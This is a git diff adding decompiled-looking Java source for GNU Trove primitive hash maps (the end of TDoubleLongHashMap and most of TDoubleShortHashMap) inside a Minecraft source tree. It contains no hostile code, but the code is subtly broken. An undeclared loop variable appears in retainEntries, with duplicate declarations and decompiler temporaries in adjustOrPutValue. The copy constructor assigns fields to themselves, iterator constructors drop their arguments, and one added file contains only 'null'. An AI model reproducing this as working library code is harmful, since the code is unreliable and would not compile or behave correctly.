+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TDoubleLongHashMap.TDoubleLongValueHashIterator(TDoubleLongHashMap.this, TDoubleLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TDoubleLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleLongHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleLongIterator
+  {
+    TDoubleLongHashIterator(TDoubleLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleLongMap)) {
+      return false;
+    }
+    TDoubleLongMap that = (TDoubleLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleShortHashMap.java
new file mode 100644
index 0000000..3e14640
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleShortHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TDoubleShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TDoubleShortMap;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TDoubleShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleShortHashMap
+  extends TDoubleShortHash
+  implements TDoubleShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TDoubleShortHashMap() {}
+  
+  public TDoubleShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleShortHashMap(int initialCapacity, float loadFactor, double noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleShortHashMap(double[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleShortHashMap(TDoubleShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleShortHashMap)) {
+      TDoubleShortHashMap hashmap = (TDoubleShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(double key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(double key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(double key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Short> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleShortMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(double key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleShortIterator iterator()
+  {
+    return new TDoubleShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleShortProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(double key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp20_18 = index; short[] tmp20_15 = _values;tmp20_15[tmp20_18] = ((short)(tmp20_15[tmp20_18] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(double key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleShortHashMap.TDoubleShortKeyHashIterator(TDoubleShortHashMap.this, TDoubleShortHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleShortHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TDoubleShortHashMap.TDoubleShortValueHashIterator(TDoubleShortHashMap.this, TDoubleShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
